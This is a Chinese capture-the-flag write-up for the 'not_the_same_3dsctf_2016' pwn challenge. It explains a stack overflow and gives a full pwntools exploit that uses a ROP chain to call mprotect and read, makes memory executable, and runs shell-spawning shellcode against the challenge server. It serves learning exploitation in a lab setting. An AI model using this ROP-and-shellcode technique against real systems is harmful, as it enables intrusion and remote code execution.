先检查文件

开启了栈不可执行
丢到ida

main函数中明显有栈溢出
再看看比较诱人的一个函数

看似这个函数直接可以获取flag,实则不然,我刚开始也是想着通过这个函数,读取flag.txt里面的内容,然后输出出来,但我还是太天真了,因为这个开了栈不可执行的保护,所以是失败了,那怎么办呢?
在这里学到了一个新函数mprotect
该函数的作用就是给某些内存段赋予某些权限
有三个参数,原型如下:

int mprotect(void*addr,size_t len,int prot)

addr指内存开始的地址,len表示内存空间大小,prot表示内存权限
到这里,我们的思路就清晰了
先溢出,转到mprotect函数,然后赋予某些内存段一些权限,然后执行shellcode,最后打通
exp如下:

from pwn import *
 
elf = ELF("./not_the_same_3dsctf_2016")
#io = process("./not_the_same_3dsctf_2016")
io=remote('node5.buuoj.cn',25423)	
mprotect_addr = elf.sym['mprotect']
read_addr = elf.sym['read']
pop = 0x804F420
	
mem_addr = 0x80EB000
mem_size = 0x1000
mem_type = 0x7
 
shellcode = asm(shellcraft.sh())
	
payload = ( b'A' * 0x2D ) + p32(mprotect_addr) + p32(pop) + p32(mem_addr) + p32(mem_size) + p32(mem_type)
payload += p32(read_addr) + p32(pop) + p32(0) + p32(mem_addr) + p32(len(shellcode)) + p32(mem_addr)
 
io.sendline(payload)
io.sendline(shellcode)
io.interactive()

在上面代码中,mem_addr指的是.got.plt段的起始地址

mem_size的值只要比我们构造的shellcode的值打就行了,
memtype的值为7,意义是为其赋予了可执行权限
至于pop的值,用ROPgadget,可以看到有很多,下面我只截一部分

那么问题来了,这么多地址,为什么偏偏就选择那一个?
原因就是我们调用的mprotect函数和read函数,都有三个参数,而pop指令是用来清理栈的,所以调用后需要清理 3 个参数(即 esp += 12)。因此,我们需要:
pop 指令能弹出 3 个寄存器(如 pop ebx; pop esi; pop edi; ret)。
或者 pop + ret 组合(如 pop ebp; ret 但需要多次使用)

到这里,就得到结果了

小白一个,如有问题,欢迎各位师傅指正

参考链接:大神wp